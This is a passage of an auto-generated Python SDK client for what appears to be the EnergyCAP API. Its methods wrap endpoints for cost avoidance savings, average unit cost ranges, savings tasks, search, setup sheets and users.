header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'OtherSavingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('OtherSavingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_other_savings.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/othersavings'}
def get_all_other_savings(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get a other savings for a meter.
:param meter_id: The meter for which the other savings are being
retrieved
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.OtherSavingsResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_all_other_savings.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[OtherSavingsResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_all_other_savings.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/othersavings'}
def edit_other_savings(
self, meter_id, other_savings_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit an other savings adjustment
Meter Cost Avoidance Savings will be re-calculated.
:param meter_id: The meter whose other savings is being edited
:type meter_id: int
:param other_savings_id: The other savings to edit
:type other_savings_id: int
:param body: Data representing the other savings adjustment being
edited
:type body: ~energycap.sdk.models.OtherSavingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: OtherSavingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.OtherSavingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_other_savings.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'otherSavingsId': self._serialize.url("other_savings_id", other_savings_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'OtherSavingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('OtherSavingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_other_savings.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/othersavings/{otherSavingsId}'}
def get_one_other_savings(
self, meter_id, other_savings_id, custom_headers=None, raw=False, **operation_config):
"""Get one other savings for a meter.
:param meter_id: The meter for which the other savings are being
retrieved
:type meter_id: int
:param other_savings_id: The identifier for the other savings record
which is being retrieved
:type other_savings_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: OtherSavingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.OtherSavingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_one_other_savings.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'otherSavingsId': self._serialize.url("other_savings_id", other_savings_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('OtherSavingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_one_other_savings.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/othersavings/{otherSavingsId}'}
def delete_other_savings(
self, meter_id, other_savings_id, custom_headers=None, raw=False, **operation_config):
"""Delete an other savings adjustment.
:param meter_id: The meter for which the other savings is being
deleted
:type meter_id: int
:param other_savings_id: The other saving identifier which is being
deleted
:type other_savings_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_other_savings.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'otherSavingsId': self._serialize.url("other_savings_id", other_savings_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_other_savings.metadata = {'url': '/api/v3/savings/meter/{meterId}/adjustment/othersavings/{otherSavingsId}'}
def get_other_savings_categories(
self, custom_headers=None, raw=False, **operation_config):
"""Get other savings categories.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.OtherSavingsCategory] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_other_savings_categories.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[OtherSavingsCategory]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_other_savings_categories.metadata = {'url': '/api/v3/savings/adjustment/othersavings/category'}
def create_other_savings_category(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create other savings category.
:param body: Data representing the other saving category being created
:type body: ~energycap.sdk.models.OtherSavingsCategoryRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: OtherSavingsCategory or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.OtherSavingsCategory or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_other_savings_category.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'OtherSavingsCategoryRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('OtherSavingsCategory', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_other_savings_category.metadata = {'url': '/api/v3/savings/adjustment/othersavings/category'}
def bulk_edit_meter_cost_avoidance_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Mass update certain cost avoidance settings for meters that match the
filter conditions
Baseline and Savings will be reprocessed for affected meters.
:param body: Filters and new cost avoidance setting values
:type body: ~energycap.sdk.models.BulkMeterCostAvoidanceSettings
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostAvoidanceTask or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CostAvoidanceTask or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bulk_edit_meter_cost_avoidance_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BulkMeterCostAvoidanceSettings')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CostAvoidanceTask', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bulk_edit_meter_cost_avoidance_settings.metadata = {'url': '/api/v3/savings/meter'}
def get_cost_avoidance_meter_count(
self, only_meters_in_cap=True, body=None, custom_headers=None, raw=False, **operation_config):
"""Count the number of meters that match the filter conditions for cost
avoidance bulk actions.
:param only_meters_in_cap: Whether or not to only include meters in
the count which are already participating in cost avoidance
:type only_meters_in_cap: bool
:param body: The filters used when counting the meters
:type body: list[~energycap.sdk.models.FilterEdit]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GenericCount or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GenericCount or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_avoidance_meter_count.metadata['url']
# Construct parameters
query_parameters = {}
if only_meters_in_cap is not None:
query_parameters['onlyMetersInCAP'] = self._serialize.query("only_meters_in_cap", only_meters_in_cap, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[FilterEdit]')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GenericCount', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_cost_avoidance_meter_count.metadata = {'url': '/api/v3/savings/meter/count'}
def get_auc_ranges(
self, custom_headers=None, raw=False, **operation_config):
"""Get the average unit cost "acceptable range" values for cost avoidance
for each commodity.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AucRangeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_auc_ranges.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AucRangeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_auc_ranges.metadata = {'url': '/api/v3/savings/auc'}
def edit_auc_ranges(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the average unit cost "acceptable range" values for cost avoidance
for one or more commodities
Cost Avoidance Savings will be re-calculated for all bills for meters
having the affected commodities.
:param body: Data representing one or more average unit cost ranges to
edit
:type body: list[~energycap.sdk.models.AucRangeRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AucRangeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_auc_ranges.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[AucRangeRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AucRangeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_auc_ranges.metadata = {'url': '/api/v3/savings/auc'}
def get_savings_tasks(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of cost avoidance tasks
NOTE: does not include cost avoidance tasks created from prior versions
of the software.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.CostAvoidanceTask] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_savings_tasks.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[CostAvoidanceTask]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_savings_tasks.metadata = {'url': '/api/v3/savings/task'}
def get_savings_task(
self, task_id, custom_headers=None, raw=False, **operation_config):
"""Get a single cost avoidance task by its unique ID.
:param task_id:
:type task_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostAvoidanceTask or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CostAvoidanceTask or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_savings_task.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CostAvoidanceTask', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_savings_task.metadata = {'url': '/api/v3/savings/task/{taskId}'}
def get_cost_avoidance_settings(
self, custom_headers=None, raw=False, **operation_config):
"""
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_avoidance_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
get_cost_avoidance_settings.metadata = {'url': '/api/v3/savings/settings'}
def edit_cost_avoidance_settings(
self, custom_headers=None, raw=False, **operation_config):
"""
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_cost_avoidance_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
edit_cost_avoidance_settings.metadata = {'url': '/api/v3/savings/settings'}
def get_cost_avoidance_filters(
self, custom_headers=None, raw=False, **operation_config):
"""Return available filters for Cost Avoidance processors
Filters:
- Commodity ID
- Commodity Name
- Meter Group Name
- Building Group Name
- Topmost Place Code
- Topmost Place Name.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_avoidance_filters.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_cost_avoidance_filters.metadata = {'url': '/api/v3/savings/filters'}
def get_search_result(
self, query=None, limit=10, custom_headers=None, raw=False, **operation_config):
"""Searches for Accounts, Meters, Cost Centers, Places, and Place Groups
that match the provided query text.
Unless searching by id, not all properties on child objects are set in
the response DTO, this is for performance reasons.
:param query: The text to search
:type query: str
:param limit: The maximum number of items to return per entity type.
Defaults to 10, valid range of 0 to 100.
0 is treated as default for backwards compatibility reasons.
:type limit: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SearchResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SearchResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_search_result.metadata['url']
# Construct parameters
query_parameters = {}
if query is not None:
query_parameters['query'] = self._serialize.query("query", query, 'str')
if limit is not None:
query_parameters['limit'] = self._serialize.query("limit", limit, 'int', maximum=100, minimum=0)
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SearchResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_search_result.metadata = {'url': '/api/v3/search'}
def get_setup_sheet(
self, type=None, filter=None, custom_headers=None, raw=False, **operation_config):
"""Returns an Excel file used within SetupSheets.
:param type: Possible values include: 'UNKNOWNTYPE',
'CREATE_AccountsAndMeters', 'CREATE_BuildingsAndOrganizations',
'CREATE_CostAvoidanceOtherSavings',
'CREATE_CostAvoidanceSpecialAdjustments', 'CREATE_CostCenters',
'CREATE_Customers', 'CREATE_ChargebackDistributionsVersions',
'CREATE_RateSchedules', 'CREATE_Vendors', 'CREATE_Channels',
'UPDATE_CostCenters', 'UPDATE_BuildingsAndOrganizations',
'UPDATE_AccountingCalendar', 'UPDATE_Accounts',
'UPDATE_CustomFieldsAccount', 'UPDATE_CostAvoidanceOtherSavings',
'UPDATE_CostAvoidanceSpecialAdjustments', 'UPDATE_Customers',
'CREATE_GLCodesAndSubcodes', 'UPDATE_GLCodesAndSubcodes',
'UPDATE_Meters', 'UPDATE_CustomFieldsMeter',
'UPDATE_CustomFieldsPlace', 'UPDATE_Users', 'UPDATE_Vendors',
'UPDATE_CustomFieldsVendor', 'CREATE_Users', 'UPDATE_Channels',
'UPDATE_BillCalculations', 'CREATE_BillCalculations',
'UPDATE_BillSplits', 'CREATE_BillSplits', 'UPDATE_MeterGroups',
'UPDATE_BuildingGroups', 'CREATE_Readings', 'UPDATE_Readings',
'CREATE_MonthlyReadings', 'CREATE_PlaceBenchmarks',
'UPDATE_PlaceBenchmarks', 'CREATE_UserGroups', 'UPDATE_UserGroups',
'UPDATE_UserGroupMembers', 'UPDATE_PlaceEnergyStarLink',
'CREATE_BudgetWorksheet', 'UPDATE_MeterGHGSettings',
'UPDATE_CustomGhgFactors'
:type type: str
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: str or ClientRawResponse if raw=true
:rtype: str or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_setup_sheet.metadata['url']
# Construct parameters
query_parameters = {}
if type is not None:
query_parameters['type'] = self._serialize.query("type", type, 'str')
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('str', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_setup_sheet.metadata = {'url': '/api/v3/setup'}
def post_setup_sheet(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Processes a SetupSheet Excel file
Accepts a base64 string representation of an xlsx file
File must be Microsoft Excel 2007 or later.
:param body:
:type body: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: Setup or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.Setup or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.post_setup_sheet.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/vnd.ms-excel'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'str')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('Setup', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
post_setup_sheet.metadata = {'url': '/api/v3/setup'}
def get_setup_sheet_filters(
self, type=None, custom_headers=None, raw=False, **operation_config):
"""Returns the applicable filters for a given type to filter down
SetupSheet Templates.
:param type: Possible values include: 'UNKNOWNTYPE',
'CREATE_AccountsAndMeters', 'CREATE_BuildingsAndOrganizations',
'CREATE_CostAvoidanceOtherSavings',
'CREATE_CostAvoidanceSpecialAdjustments', 'CREATE_CostCenters',
'CREATE_Customers', 'CREATE_ChargebackDistributionsVersions',
'CREATE_RateSchedules', 'CREATE_Vendors', 'CREATE_Channels',
'UPDATE_CostCenters', 'UPDATE_BuildingsAndOrganizations',
'UPDATE_AccountingCalendar', 'UPDATE_Accounts',
'UPDATE_CustomFieldsAccount', 'UPDATE_CostAvoidanceOtherSavings',
'UPDATE_CostAvoidanceSpecialAdjustments', 'UPDATE_Customers',
'CREATE_GLCodesAndSubcodes', 'UPDATE_GLCodesAndSubcodes',
'UPDATE_Meters', 'UPDATE_CustomFieldsMeter',
'UPDATE_CustomFieldsPlace', 'UPDATE_Users', 'UPDATE_Vendors',
'UPDATE_CustomFieldsVendor', 'CREATE_Users', 'UPDATE_Channels',
'UPDATE_BillCalculations', 'CREATE_BillCalculations',
'UPDATE_BillSplits', 'CREATE_BillSplits', 'UPDATE_MeterGroups',
'UPDATE_BuildingGroups', 'CREATE_Readings', 'UPDATE_Readings',
'CREATE_MonthlyReadings', 'CREATE_PlaceBenchmarks',
'UPDATE_PlaceBenchmarks', 'CREATE_UserGroups', 'UPDATE_UserGroups',
'UPDATE_UserGroupMembers', 'UPDATE_PlaceEnergyStarLink',
'CREATE_BudgetWorksheet', 'UPDATE_MeterGHGSettings',
'UPDATE_CustomGhgFactors'
:type type: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FilterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_setup_sheet_filters.metadata['url']
# Construct parameters
query_parameters = {}
if type is not None:
query_parameters['type'] = self._serialize.query("type", type, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FilterResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_setup_sheet_filters.metadata = {'url': '/api/v3/setup/filter'}
def get_users(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Gets a list of users.
Requires View permission for Users & Roles.
If this permission is not available, restricted set of properties are
returned.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UserResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_users.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
